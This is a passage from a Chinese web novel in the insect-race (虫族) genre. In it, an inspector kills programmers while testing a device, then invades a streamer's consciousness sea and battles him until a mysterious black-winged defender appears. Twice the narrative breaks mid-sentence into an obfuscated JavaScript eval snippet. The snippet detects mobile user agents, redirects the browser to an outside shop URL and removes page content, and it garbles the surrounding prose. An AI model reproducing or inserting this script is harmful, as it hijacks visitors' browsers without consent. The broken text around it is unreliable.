此刻读完新标题，集体颅内核爆原地升天！ 【婚后？20年都没离？！】 一条留言咕勇如垂死挣扎的鱼在岸边疯狂蹦跶，死活不信邪。 【他还敢违背绝不对阁下动真感情的诺言！阁下居然也惯着他？】 【艾瑞克有什么资格当雌君！？】 【哈！我看是主播签了卖身契就开始画饼。 雄子阁下也是我们这样的贱种配肖想的？】 【Felix给你灌了多少致幻剂？编这种童话糊弄鬼呢？！】 …… 【去你大爷的‘你们’！谁**跟你一伙了？真晦气！】 有虫以前看到别的中低等种在网上自贬习以为常，但现在莫名看到“我们这群贱种”的言论，就觉得别扭恶心。 这些散户里，也有因为@巡演平安归来而倒戈的。 如今他们正颤巍巍地、试探着迈出第一步。 【有点想说支持主播……很期待能看到预告的内容。】 【艾瑞克到底怎么追到阁下的，尤其是在他违背合约的情况时。】 【嘶，这饼画得，但老子怎么有点控制不住这该死的好奇心呢？】 【哇，看了有种阁下坚定地走向我的感觉……】 他们捂胸口，心脏狂跳，体感如同在外太空突然机甲损毁的时候自己从驾驶舱弹出在大气的对流层直坠而下爆血管，实在是太刺激了——！ “废物！” 一声暴喝压过办公室的所有嘈杂。 巴尼多主管昏迷刚醒还没来得及从办公桌上爬下来，就被吼得梗着脖子一哆嗦，循声望去。 卢施气急败坏地站在监控屏幕前。 那块巨大的曲面虚拟屏上，@巡演的粉丝数正匪夷所思地疯狂跳动蹿升。 不死的巡演正如Felix名称所隐喻的那样浴火重生，复出直播，一刀斩获大批死忠粉！三千……五万……近十万。 每一次刷新，数字都会暴涨一截。 每一次暴涨，都像隔空的一记耳光，狠狠地抽歪了卢施骄傲的脸庞！ …… Felix办公室里，寂静得像坐坟。 卢施满面阴霾。他额顶的触须立起，俯身单手撑在法务虫的办公桌边，差点把背后的虫翅抖出来扇风降火。 颈间，信息素抑制环滴滴作响。 【失控，您的情绪已失控，尊敬的016号稽查专员，执法小助手提醒您，请时刻保持冷静，展现高等种的优良素质，切勿伤害比您等级低的……】 后面的话，他没听见了。 法务虫距离卢施最近，亲身体会到一只高等种的怒火。 示威信息素往外面一个劲地狂飙。 分明没有气味，却让他瞬间无法再呼吸。 脖子仿佛被什么勒紧，然后逐步加力，视野天旋地转。 那一刻，他感觉到了自己的渺小。 高等种就是这样，从精神力到肉(体对他们的全方位碾压。 信息素也告诉他，别反抗，别挣扎，否则，有你的好果子吃。 “咕咚。” 直面高等种的威压，法务虫抖如筛糠，呼吸间都带上细弱的哭腔。 卢施动一下，他就抖一下。 紧张极了又迟迟没等来对方有什么反应的时候，视线忍不住上移。 又怕被发现，只能用眼角余光去瞥。 那个稽查员闭眼深吸气吐气，憋红了的额角上，两道青筋跳了又跳。 法务虫屏住呼吸，暗觉不妙。 眼睛又瞪大了点，继续观察。 突然，那个稽查员动了。 他两手狠狠地拉开了脉冲手枪上的保险栓，发出“咔嚓！”一声金属响。 然后，枪口水平朝外转了一圈，缓缓地扫过办公室内的每个虫，最终落在那个刚刚跟他汇报方案的程序员身上。 “……连个小主播都处理不了，Felix养你是用来吃干饭的？” 卢施质疑时，声音不大，却让在场每个虫心底都发寒。 做报告那个程序员张张嘴，还想辩解些什么。 “砰——！” 沉闷的枪声突兀炸响。 子弹洞穿了他的额头，将程序员的未尽之语永远堵死在喉咙里。 尸体直挺挺地朝后倒去，砸在工位上， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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在场所有虫都情不自禁为同僚捏了把冷汗，盯紧终端仪器旁边的健康监控屏，希望他能平安归来…… “啊啊啊啊——！”凄厉惨叫只持续了不到三秒便戛然而止。 结局注定惨不忍睹，监控仪器屏幕上代表生命体征的曲线瞬间拉长成一条直线。 所有虫见状都感到一阵牙酸，嘶声偏过头去不愿再看。 这就是高等种对低等种的全方位碾压，毋庸置疑。 卢施关心的却只有数据，看后眉头微皱。 “太弱了，下一个。” 又一个程序员被拖了过去。 “下一个。” 再一个。 “下一个。” 接连四五个程序员的惨叫此起彼伏。 巴尼多主管连滚带爬，到卢施的脚边噗通跪下，砰砰磕头，地上砸出好几个血印也不罢休，双手合十泪眼汪汪一把鼻涕一把泪地乞求，“长长长官……现现现在您可以确定技术没问题了吧？不不不……求您不要再杀了……” 卢施没有看他，继续观察屏幕上的参数。 从跟@巡演等级相同的F级亚雌开始递增，直到确定三个C级雌虫也会被他在五秒钟之内抹灭过后，眉心才渐渐舒展开来。 “——能为保护雄虫阁下的权益而献身，是你们这些贱种的荣幸。” 他取下沉重的测试头盔，慢条斯理地整理了一下自己有些褶皱的制服，坐上那把刚死了十个虫的椅子。 “把正式端口给我接上。” 这一次，再也没有虫敢迟疑。幸存的程序员们手脚麻利地操作起来，将最复杂的数据线和精神力增幅装置连接到卢施身上。 沉重的黑铁合金头盔缓缓地落下，罩住了他有些狰狞而狂热的脸庞。 “@巡演……” “这回，我亲自来杀你。” 12. 什么意思 狭小阴仄的室内，医疗仪器横在窗边，像一口棺材。 嘀，嘀。 单调的嗡鸣有一下没一下地响着。 半空中，反观@巡演怎么弄也弄不死的直播间，那几首，他事先录好的BGM音乐，也仍旧在悠扬地播放。 仿佛，什么都没发生过一样。 路寻衍轻轻地垂下了眼睑，目光虚落在治疗舱的底端，对星网另一端汹涌而来的恶意，状若未闻。 在21世纪，也就是穿进这本龙傲天升级爽文里当炮灰之前，他同样年少成名，自然见过喷子无数。 他们或是收了钱，在各大评论区恶意抹黑，或是同行，肚子里有二两干货就开始半桶水响叮当，自以为是地站在高处指指点点，亦或压根儿没看过作品光凭题材就搁那儿开喷，说白了手段幼稚又低劣。 路寻衍什么大风大浪没见过？外界的喧嚣半点不能影响他心境。 治疗舱边的银发“亚雌”胸口均匀地起伏着，眸光上移，转落回到了自己刚发的直播间入场画面上。 在一片静谧之中，路寻衍对着光屏思忖了会儿，这才有所动作。 小臂抬起悬在半空，修长的指节轻抵着笔杆，握力不紧也不松。 先前书写时，他手中的那支，镌刻了复杂花纹的笔尖恰好悬在光屏上方的半寸，现在只需几根指节稍微用力，两颗并紧的银白色铱粒就压了上去，线条如流水般淌出。 路寻衍全神贯注工作的样子极静，连呼吸都轻缓，霎时间，只能在这方室内，听见他手上的笔尖与面前的光屏摩挲发出的细细声响。 沙——，沙沙沙，像是春蚕食叶。 每一笔，每一划，皆有轻微的阻尼感回传，宛如在纸面上写画。 最终呈现出来的每个细节，都被他恰到好处地把控，入场文段里的每一个字连起来看都张弛有度。 写完，路寻衍的手腕在光屏上微抬，银色笔尖便与淡金色的屏幕两相分离，徒留几丛绽放的白玫瑰在直播间的入场画面里悠然摇曳。 真美啊…… 他虚眯起了一只眼，保持右手执笔的姿势，微微朝左偏转过头，侧颈绷出一段优雅而危险的线条。 整个人向后倒退了小半步。 “哒。” 脚上靴尖轻点，踩碎了地面残留的一小汪积水，泛开阵阵涟漪。 此时此刻，银发“亚雌”的后背彻底融进了房间深处蓝灰色的阴影里，唯有面前的智脑投屏洒下的淡金色光辉照耀在他脸上。薄而均匀，细纱般的离散能量粒子轻罩在他的鼻尖和鼻翼，缓慢而安静地朝外铺开了，描摹半张清秀的轮廓。 光与暗的边界线在他耳后小幅度移动着，火焰似的，无声地跳跃，忽明忽灭。 路寻衍松开手，卧在虎口里的钢笔自动归位，飞上金辉，继续谱写了。 刷刷——，刷刷刷—— 在持续的细细声响中，银发“亚雌”的眸中，笑意盈盈，安静地凝视着屏幕里的玫瑰，浅淡的紫色虹膜里流光溢彩，像是在欣赏这番美景。片刻后，他才抬起手来，指尖拂过那些虚拟的花瓣，动作轻柔得仿佛生怕一不小心惊扰了它们。 “……现在，”路寻衍的唇角微翘，溢出声冷笑，“该清理花圃里的害虫了。” 砰！砰砰！ 浑然不觉危险即将来临的卢施开枪，三下五除二地击破了数据流世界里，@巡演的直播间大门。 他感觉好得很，精神抖擞，穿着外面精神力增幅得来的作战服，用铁甲从头武装到脚，在一片金属摩擦声中，气宇轩昂地前进。 翻山越岭，终于抵达主播@巡演与平台相连接的意识海边。 放眼望去，天空的边缘泛红，好似被一片又一片的玫瑰星云温柔地包裹。 底下有团闪烁着金黄色圆虹的光球，想必那就是@巡演的精神力核心了。 如此脆弱，如此的……不堪一击！ 意识海外。 监控仪器屏幕上，出现一个模糊的金色光点，旁边啥也没有。 “哈！他果然不设防备！” 怀因见了，一拍大腿，上半身往前倾，看得更加津津有味。 尽管开头不大美妙，自己原本只想摸鱼划水，但，这次跟着卢施算是出来对了，实战真令他大开眼界，涨了不少对付老油条的经验。 现在，只需要捏碎@巡演的精神力核心，一切就万事大吉了！ Felix分公司全体员工也注意到这一点，都为主播捏一把冷汗。 诚然，他们没有多喜欢@巡演。 …… 但是跟雄保会这帮上来哐哐一顿打、抬手就要虫命的龟孙儿比起来，@巡演只要钱，简直是他雌的天使啊！ 巴尼多主管泪奔。不只是怕，更多的是他自己也搞不懂的激动。 好像在期待着什么奇迹发生。 他比员工知道得更多，其实今天就算不查这个主播，上面也会找点别的什么借口来定期敲打所有中低等种雌虫，叫他们不要想些不该想的，用恐惧维持阶级对立碾压。 ……直到这个新虫主播出现。 巴尼多猛地深吸了一口气，后槽牙咬紧——若是@巡演能赢，那整个虫族，怕是真的要变天了！ 思及此，他暗戳戳地昂头向监控仪器屏幕，用目光给主播敬礼。 加油啊，@巡演，给老子干(死他！ …… “阿嚏！”路寻衍一点头，莫名其妙打了个喷嚏。 意识海边，卢施轻蔑地勾起唇角，目光变得愈发玩味。 呵，这主播的精神力核心藏得倒挺深，在意识海的最中间，是个圆形，半径都一样，从哪打距离都很远，超出了他一枪的射程范围。 要不说意识海是虫族本虫的精神投射呢，嘁，简直跟@巡演本虫的德性如出一辙，尽会耍小聪明。 可惜，这防御还是太弱。卢施四处打量了一番，啧啧总结：做得简直跟纸糊的一样，中看不中用！ 他大步流星，抬脚踩进了圆圈，提枪直奔那团光球而去，准备速战速决，捏碎了核心直接收工。 然而，才刚踏出第三步—— 毫无预兆地，脚下平滑如镜的地面骤然消失。 轰隆！！！ 一片汪洋大海凭空而生，掀起滔天巨浪，朝他兜头盖脸砸下来！ 卢施整个虫都懵了。 他甚至来不及防御，就被那股蛮横无匹的巨力狠狠地拍飞了出去，眼前一片天旋地转。再回过神的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16609386|187600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时候，嘴里全是咸腥的海水。 “咳……咳咳！” 卢施是个蝗虫，属于沾不得水的旱鸭子那类。 好不容易克服了老祖宗给他传下来的那股骨子里对水的恐惧，从海面冒出头，仓惶地抹了把脸。他的嘴唇蠕动，还没来得及顺口骂出一句脏话，第二波巨浪紧随而至。 啪——！ 他又被拍了回去，手脚胡乱地扑棱，三分钟都没能再浮得起来。 “操……咕噜噜，咕噜噜……哪来的这么大浪……咕噜噜！” “不好！卢施前辈的生命体征曲线正在急速地往下掉！” Felix办公室，怀因的眼睛一直盯着，一刻也没有放松过。 带教领导不敌，他又变得仓促，站起来在屋里转圈圈想办法。 倒是角落里的几十个白领虫的背影明显放松了些，虫须趴在脑袋后面，鬼鬼祟祟地从不同的地方钻了出来。 他们原本抱头龟缩在办公桌角的底下，或是直接黏上了天花板。 在不同的犄角以各种角度，昂头低头，你看看我，我看看你，都从对方眼中看出了一丝兴奋——什么，雄保会居然也有吃瘪的一天？ 太爽了！ @巡演，给我狠狠地弄死他！ “噗……咳……我操！”卢施被巨浪呛得七荤八素，鼻涕倒灌，狼狈不堪，身上那全套作战装备也被泡得发沉，直把他往海底里拽。 也不知道怀因那个小B崽子在外面干什么？这种时候了，怎么还不来帮帮忙？卢施暗啐一口，心道等他出去定要好好收拾那狗东西。 他骂骂咧咧地脱去战斗服，只留一把配枪。 同时，为避免继续溺水，把脖子抻得老长，双手在水里扑腾。 “这都还不认输？……实相点你现在就该知难而退了。” 路寻衍轻叹道，在治疗舱的顶盖落座，上半身微微地朝前倾。他单手托腮，眯起眼睛，含笑注视那虫不信邪，咬牙稳住身形站起来。 @巡演的意识海边缘。 卢施呲牙咧嘴，目光凶狠地握紧了手中枪，再度试图冲向那团远处的金光，起码要进入射程范围。 结果，刚游出不到十米。 啪——！ 第三道浪，精准地拍在他的后脑勺上。 力道之大，让他瞬间眼冒金星，浮沉在水里手舞足蹈，差点一口气没提上来，直接淹死在别虫的意识海里。 呛水事小，丢脸事大。 这对从无败绩骄傲了几十年的稽查专员来讲，简直是奇耻大辱！ 卢施抱头咆哮，自己竟然被区区一只不知从哪个犄角旮旯冒出来的乡下亚雌像拍皮球一样地反复羞辱。 “啊啊啊啊啊！此仇不报，我的名字以后倒过来写！” 卢施握着枪，脸上划过一丝决绝，紧咬着牙关浑身颤抖，瞠目欲裂，把枪口对准了自己的太阳穴。 “砰！” 倔强的雌虫应声倒地，溅起无数水花，真的一动不动了。 ……这有点出乎预料。 路寻衍托腮的手指微顿，眼底的笑意迅速消解，仔细观察。 嗯？ 什么意思，这雌虫不应该啊。怎么放完狠话就自毙了？ 13. 扑棱一声 不对劲，他莫不是在憋什么大招吧？ 路寻衍眉头渐簇，分析到，稽查专员给他的印象傲慢较真，宁可上刀山下火海，也要钻出来一枪崩了他，而不是把枪子儿怼进自己的脑袋里。 远处。 卢施的尸体软倒在地，可他看着，总感觉有哪不对…… 究竟是什么地方出了问题呢？ 路寻衍的上半身前倾，右手摸着下巴，眼睛从左往右，仔细地观察起来，终于，在卢施的头顶发现异常。 “嘶！”路寻衍恍然大悟。 没杀过人还不知道人的死状吗？ 21世纪他在剧组里，经常串门去监督合成后期特效，因此知道： 那枪的后坐力是非常恐怖的。 有谁拿着手枪对准太阳穴自杀，那可不只是交代一条小命的生理性死亡。 还有社会性死亡，因为死得很难看。 一枪打下去，脑袋早崩成开瓢的西瓜了，根本不可能完整的。 然而…… 他想着，目光定格在卢施的尸体上。 只见，这只稽查专员的脑袋，却没被近距离开枪带来的冲击力炸碎。 …… 那他没死！？ 路寻衍的心脏漏跳一拍，不详的预感愈甚。 自己必须做点什么。他抬手掀起一片海，准备断其生路，以绝后患。 就在此时，风云突变。 卢施脑袋流着血，捏紧双拳站了起来。 任凭巨浪如何冲刷，身形都稳如磐石，纹丝不动。 他的目光炯炯，穿透重重水幕，锁定在了远处的那团金色光球上。 “受死吧，小杂种！” 卢施发出一声咆哮。 只听见“嗖！”的破空巨响，路寻衍心下大惊，眼睛还来不及捕捉，原本倒在地上的尸体就顷刻间化成了一道残影朝他凌空而来，脚下的大海都被他硬生生地踏出了一条真空通道。 海水向两边退散，形成两面高耸的水墙。 速度太快了！根本看不清楚！ 路寻衍的瞳孔微缩，紧急之中竟然做到了神行合一，立即调动剩余的海浪，在光团前方，凝出层层叠叠的屏障。 如果不能针对性保护，那就只能把自己全包起来了。 嗡，嗡嗡—— 他先前构筑的防御，也在此刻被催动到极致，闪烁着银白色的微光。 然而，在卢施暴涨的绝对力量面前，这些防御都薄如蝉翼。 只听“咔嚓”一声脆响！ 第一层屏障应声而碎。 卢施的攻势没有丝毫停滞，他像一头发疯的公牛，扭头撞向下一层。 咔嚓！咔嚓！咔嚓！ 屏障碎裂的声音连成一片。每一次碎裂都像把重锤凿在他的神经上。 路寻衍顿时头晕眼花。 身体失去所有的力气，朝前歪斜栽倒。 在即将落地瞬间，他拼尽全力向后展臂，手肘勾住了阿斯克治疗舱的玻璃顶盖，才勉强支撑住不跪下去。 “呼——，哈——……”他的呼吸紊乱，冷汗从紧簇的银眉中央落下，浸湿了贴在他前额的刘海，顺延重力滴至悬在半空中跟随呼吸一起颤抖的发梢，往外划出了道透明的抛物线。 滴答。 浪花飞溅。转瞬之间，所有的防线崩溃，卢施已经兵临城下！ 路寻衍的脸色沉如死水，自己现在竟然变成了一只待宰的羔羊。 祸不单行，在意识海世界，他就是一个球。 只能通过金色光球的视角，眼睁睁地看着。 看着卢施举起手枪，枪口校准位置，对准了自己，却动弹不得！ 千钧一发之际，智脑光屏里，老师的私聊小窗突然闪烁了一下。 所有新消息都在同一时间弹出！ [阁下，卢施刚才开的那枪是在往脑子里灌入精神力增幅装置，强提等级。] [他从B级一路攀升，越过A级，最终稳停在军雌内部百年无一遇的超A级层次。] [您是S级的雄虫，理论上来说，压制任何雌虫的精神力都不在话下。] [但您刚成年，意识海不稳定，也许会被他趁虚而入，反而死于非命。] [……] [阁下，请您原谅我的贸然干预。这可能会导致您的身体不适。] [等这件事结束，我会带上对先前僭越的忏悔书，一同向您负荆请罪。] …… 还没来得及看完，路寻衍的大脑突然“嗡——！”的一声，感觉像是被重锤一锤子砸中，眼前金光乱冒。 刺痛感从他的意识海最深处徒然炸开，顷刻间席卷四肢百骸。 几乎是在同一个瞬间，他的意识海里风云再变。 “呵呵呵呵……呃？！”正狞笑着向金色光球扣动扳机的卢施动作猛地僵住，再怎么使力也无法再移动分毫，就像被一只横空出世的无形巨手攥住了手腕，阻拦的力道大得惊虫，甚至过犹不及，反而调转来攻击他。 卢施只能亲眼目睹自己拿枪的那只手逐渐脱臼，腕骨被什么看不见的东西抓住，然后开始违反规律，硬生生地朝外弯折了180度，在这个过程中，一串尖细的咔咔声仿佛从他的灵魂最深处传来，疼痛直窜脑神经。 他本来憋着，满脸涨红，唇色惨白。 但是终于，再也受不了了，“啊——！”地痛叫一身，捂着断腕，单膝跪下。 还没来得及喘口气，就感到还有只手压上了自己的肩膀。 “谁？！” 卢施惊怒交加，试图挣脱，却发现自己像被铁钳禁锢，纹丝不能动。 突然，半空中传来叮的一声轻响，似有什么锁定了卢施，紧接着一圈白金色的光环围绕着他朝外展开，形成二十多座微型的射击靶台，随后，与之匹配的重型机枪凭空而生。 它们“嗒”一声卡在靶台上，从不同的角度齐齐地对准了最中间，在他还没完全反应过来之际就已经开火。 突突突突突——！ 枪声震耳欲聋连成一片，弹壳如暴雨般地倾泻。 霎时间血肉横飞，惨叫凌厉，却又在下一秒被更猛烈的枪声淹没。 硝烟四起。 十分钟之后，攻势渐弱，路寻衍才能勉强再次看清。 只见，卢施在密集的火力打击中不断抖动着朝后倒退，最终变成了千疮百孔的筛子，无力地摔在浅滩上。 砰！ 水花溅起，血色浓郁。腥臭味开始蔓延，缭绕在他的身边。 路寻衍抬起指背，挨在鼻子上皱了一下眉，以为事情就这么结束了。 然而。 就在此时，卢施仰面朝天，眼中突然迸发出一股玉石俱焚的疯狂。 “我可是……高等种啊……！” 他用尽最后的一丝力气，从喉咙里挤出几个字。 话音未落，倒在浅滩濒死的精神体轰然爆开，化作一片刺目的血雾。 放完狠话又自尽了？ 路寻衍嘴唇张了张。 其实导演作为影视圈的弄潮儿，接受新事物的速度和能力一直又快又强，在虫族却好像并不完全够用。 对发生在自己眼前的离谱景象，他虽然感到不可思议，这次卢施也没用枪自杀，但有前车之鉴，路寻衍由此清楚，断不可放松警惕。 他的心里总有根弦在紧绷着，仔细观察就发现，那片血雾没有消散，反而像一团翻滚的红色雨云，洒落满地血水，每滴洒到地上的“雨”都发出刚出炉的热铁入水般的“哧哧”响声。 一个个模糊的异形人影从落地的血雾里挣扎着爬出，整装待发。 转瞬之间，千军万马，凭空而生！ 检测到新的敌人，二十多把悬浮在半空的重机枪立刻调转枪口，开始无差别扫射，震耳欲聋的枪声炸响。 火光再度亮起。 一个又一个背生蝗虫残翼的士兵被子弹击碎，爆成一滩烂肉。 然而更多的蝗虫从他们倒下的血泊中重新站起，悍不畏死向前冲锋。 天上地下，嗡鸣遍野。 路寻衍见状，整颗心再次沉入了谷底。 这支登陆大军，虫均配备了步枪，如同一群没有思想的工蚁，收到的唯一指令就是继续前进，直到进入射程范围，打碎那个精神力光球。 他的脸色愈发苍白。 自己能感觉得出来，重机枪虽然强大却并非无穷无尽。 每一次开火都在消耗精神力，此消彼长，落败是迟早的事。 轰——！轰轰——！ 思量间，一声接一声的巨响在他的意识海各处炸开。 可是没多久，正如他所担忧的那样，重机枪逐渐不敌，在卢施的进攻下彻底崩碎，化作漫天光点，慢慢消散于无形。 路寻衍气喘吁吁地转头，望向私聊小窗里。 老师的钢笔头像跟着逐渐暗淡了下去，最后“啪”的一声，彻底黑屏。 [——老师连接已断开——] 毫无波澜的智脑提示音响起。 路寻衍的心也跟着凉了半截。 卢施瞬间喜出望外，在军队的最中央重新聚拢凝成身形，就像先前在Felix楼下的时候那样，开始装了起来。 抬手慢条斯理地整理一下自己破碎的衣领，望向@巡演，脸上尽是劫后余生的狂喜和毫不掩饰的杀意。 他放声大笑着，向前一挥手，姿态宛如君临天下的帝王。 “全军，瞄准目标——” 天上地下，无数士兵闻声而动，齐刷刷地将枪口对准了路寻衍的精神力光球。 “给我，杀了这个贱种！” ——轰隆！！！ 万军齐发，喊杀声震天动地。 士兵从四面八方汇成了一股势不可挡的血色洪流，朝着路寻衍奔腾而来。 那股庞大的压力几乎要将他当场撕碎。 路寻衍眼前发黑，甚至能感觉到自己的整个意识海在剧烈地颤抖，像 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你能感觉到它的骨骼和温暖皮毛随着动作逐一轻轻地碾过你的身体。 在人类21世纪是温馨，在虫族超星历2000年就是惊悚。 直感到一阵灵魂出窍，头皮发麻。 路寻衍在心底暗骂前有狼，后有虎！ 危机当头，也来不及细想更多，他深吸了一口气，强迫自己赶紧冷静下来，大脑飞速地运转着，在绝境中奋力寻找那万分之一的生机。 自己可是S级的雄虫阁下啊。 哪怕在小说里的定位是个炮灰，也总有什么可以捡起来废物利用的吧！ 路寻衍使劲地想，终于，一个念头在脑中闪现。 S级阁下最大的优势是什么？是精神力广如汪洋。 没错……既然防不住，那干脆不防了！ 他继续深吸着气，抬眼望向远处黑压压一片朝自己狂涌过来的士兵，唇角勾起了抹笑意，心脏怦怦直跳。 ——与其被动挨打，不如主动出击。 既然这片战场连接着自己的意识海，那他就有“地主之宜”。 何不将其中的所有入侵者一同卷入精神力风暴？彻底清场！ 此举伤敌一千自损八百，因为这具身体的意识海不稳定，强行催发风暴也可能反噬他自己。但现下已然顾不得这么多了。 人在异世虫族，畏手畏脚只有死路一条！ 路寻衍眼神一凛，下定决心，马上调动剩余的精神力，开始催发这场风暴。 见他“吓”得不敢动，围攻他的士兵更加大声地怪笑着，短短数秒就有更多步兵冲到他近前，五、六十把精神力光刃在半空中以不同的角度和状态朝他挥来，咆哮声震耳欲聋。 “贱种，去死吧——！” 随即刀刃砍下，最快的那把已经挨到他睫毛。 路寻衍甚至能“看”清在黑红色的光刃边缘烧燃着的、火焰般的轮廓。 死亡近在咫尺，每一毫秒都显得弥足珍贵。 路寻衍闭目凝神，潜心贯注。 在刀尖就要扎进自己眼睛里的前一刻，预热终于完成。 只需心念神动，飓风攻势瞬间铺天盖地，席卷全场！ 方圆百米内的所有士兵顿时人仰马翻，惨叫声不绝于耳。 “呼……” 路寻衍刚松了一口气，又骤然提起。 因为他发现： 本该一招制胜的奇袭之下，竟然还有漏网之鱼，继续张牙舞爪地扑过来。 可恶！ 他的表情抽动，终归没忍住，在心底里一阵国粹鸟语花香，暗骂自己炮灰的设定早不发力晚不发力，偏偏搁这要他的命。 嘶，那应该很痛吧……！ 路寻衍止不住地偏头闭眼。 他把待会被砍的角度和过程都想清楚了，预想中的剧痛却没有到来。 “扑棱-” 好像是有翅膀扇动的风声响起，轻微，却清晰可闻。 气流盘旋升起，像是河边有丝缕柳絮轻拂过他的脸颊。 来不及再想更多。刹那间，“当！”的一声清脆的金石交击之音在他耳边炸开。 路寻衍顿时如梦初醒，朝着声音的来源，自己的左后方转头。 就见那群要命的子弹和利刃，都被一边长而宽阔的黑色翅膀，稳稳地格挡住了。 子弹被弹开，刀锋咬在上面跟翼角较劲，却怎么往下用力，都无法劈砍开分毫。 盯着这匪夷所思之景，路寻衍霎时间忘记了呼吸，视线牢牢地粘在那只突然出现的黑翼上面，无法移动。 在他身后，有股难以言喻的威压弥漫开来。 紧接着一道气息呼出，像是一声极轻极懒的鼻音。 那调子拖得长长的，带着刚从酣畅淋漓的沉睡中苏醒的惺忪与不悦，仿佛在抱怨有什么东西打扰了他的清梦。 14. 两眼一闭 【婚后20年，有件事，艾瑞克也常跟阁下提起，一同陷入回忆。 彼时的艾瑞克在他温和的鼓励式劝导下，自学了书面语，以及虫族的旧邦交蓝星文明遗留的古典诗歌，最终掌握了知识分子日常使用的高频五千字，执笔写下自己虫生中的第一首情诗。 我在心里埋下种子，要用这世间所有美好的词汇来形容他。 我的爱人，就像一朵带着露水的高天玫瑰。 当他站在授勋典礼的颁奖台上冲我微笑，隔着人山人海，远远地向我举起酒杯。过了一会儿，轻盈地穿过人海人海，把金色的香槟递到我的手上。 那一刻，我想，我找到了自己存在这世间的全部意义……】 【我找到了自己存在这世间的全部意义……】 【全部意义……】 @巡演又失踪了。 这一次没有黑屏，但是，观虫们本来兴致勃勃，刚读完他写下的最后几句： 【……当他站在授勋典礼的颁奖台上冲我微笑，隔着人山人海，远远地向我举起酒杯。过了一会儿，轻盈地穿过人海人海，把金色的香槟递到我的手上。 那一刻，我想，我找到了自己存在这世间的全部意义……】 才进入了状态，眼前浮现雄虫阁下朝自己走来的美景，莫名其妙地开始暗爽。 结果。 都还没来得及冒出更多的遐想，这狗逼主播不干虫事，居然又双开始玩失踪！ 【卡在这里，虫干事？】【怕不是卡文了？】 【你看他一口气写六千的样子，再说这话。】 【故弄玄虚！取关了，最讨厌吊虫胃口的。】 【今天老子就把话撂在这儿了，谁再看@巡演的剧本，谁就是国际大傻卵！】 有虫骂骂咧咧地说要走了，挂在直播间里的头像却还亮着。 其他好事者仔细一看，嘿，这家伙！ 【你说不看，那你特么真别看啊？】 【笑死。】 【有些虫就是死鸭子嘴硬。现在好了吧？自己打自己的脸，我都懒得评。】 只见刚才说要走的那位喷子，喷完口嫌体正直地又给@巡演刷出两打巡回艇。 Felix平台自动计算，恭喜他成功击败上一名，排行提升到了赞助榜前五十。 发现这事儿的其他观虫嘿，乐了。 反正等着也是等着，闲得蛋疼，他们抓住新晋的第五十名大哥使劲调侃起来。 【兄弟，你怎么回事！】【哈哈哈哈哈，嘴上说着不要，钱包却很诚实嘛？】 【@联盟不保护废物：哥，你这波反向操作，比主播的断章还有戏剧性！】 被点名的ID沉默了三秒，倔强地发出一条： 【……手滑。】 这下子，更是点燃了全场。 【什么样的手滑能精准点开打赏页面选择5万档位，还输完了支付密码？】 有评论立刻拆台。 更甚者，已经帮他想好了之后老了开始忆往昔峥嵘岁月稠，出自传的时候可以直接搬上去用的书名：【《关于我骂完主播后不小心成了榜前大佬的这回事》】 评论区爆笑如雷。 Felix平台再一次检测到互动火热，给主播更大力度的推流。@巡演没有继续直播，但不影响他的排名在持续上升。 更多观虫从首页推荐涌入进来，刚看完，还没回过神细细地品味，就没了。 火上浇油的来了。 因为@巡演是直播，他们根本没看到前面的故事，顿时感觉自己错过一个亿！ 【啊啊啊啊啊！艾瑞克和雄虫阁下之间到底发生过什么？我好想知道！】 【求资源T_T】 【搞什么，主播死哪去了！】 那些习惯关闭弹幕只看主播的雌虫们错过这一幕，对着@巡演屏幕左上角滚动的杂草头像，差点憋出内伤。【……呵，恭喜你成功地把你雌父给气笑了。】 然而，文明是文明不了多久的。 他们很快就现原形，对着智脑疯狂输出起来：【你这个（——该用词不文明已被和谐，Felix平台提醒广大网民，和谐上网，共创美好网络环境——）主播！你不是想要赚钱吗？那你出来更新啊！】 【更新！】 【更新！】 【@巡演赶紧滚出来继续更新——】 星网上的呐喊声不断。 @巡演意识海，目及之处，一片萧瑟。 预想中的血溅当场久久没有出现，那主播的意识海虽然地动山摇，却完好无损。 坐镇大军后方的卢施等得越来越不耐烦。 “啧，还愣着做什么呢？”他还等着@巡演翘辫子完事儿，自动登出意识海呢。 卢施一拍大腿，猛地挺直了背脊，抻着脑袋远眺。 只见那团金色光球在狂风暴雨般的攻击中剧烈摇晃，光芒忽明忽暗，仿佛下一秒就要熄灭。但它……偏偏就是没灭。 这怎么可能呢？ 卢施心头窜升起一丝烦躁。 自己的这支军队，虫均足有A+级战力，别说是对付一只区区F级的废物。 就算换个A级的高等种进来，也该瞬间被撕碎了。 卢施再也坐不住，站起来一脚踩在自己士兵的脑袋上亲身走进战场。 呵，他倒要看看。 那个只会蹲在臭水沟的旁边，饿得发癫开始幻想雄子阁下的乡巴佬@巡演，究竟在耍什么花样！ 卢施居高临下地望了过去，那景象实在令虫不可置信。 自己那支杀气腾腾的军队将金色光球围了个水泄不通，无数利刃和子弹破开空气，从四面八方朝光球劈过去。 然而，所有攻击，都被凭空生出的一对巨大的黑翼格挡住了。 它从金色光球的背后伸展开来，将光球护得严严实实，每一次振翅都把几十个士兵切成血雾，战况顿时陷入胶着。 “见鬼了……” 卢施不敢相信自己的眼睛，勾勾手指，又是十几个士兵从后方扑上！ 然而。 不论是面对子弹，还是光刃，黑翼都只是微微地朝外那么一展，便将所有骇人的攻击尽数消弭于无形。 势均力敌。 不，甚至可以说是游刃有余！ 卢施的脸色彻底沉下来，不再犹豫，决心自己亲自探个究竟。 他从空中落下，挤开士兵，欺身向前。 距离越近，那股从黑翼上传来的压迫感就越强。 纯粹，凝练，带着死亡预告般的威胁。 当卢施终于突破重围，持枪来到@巡演精神化象近前时，他彻底愣住了。 这哪里是什么金色光球的翅膀！ 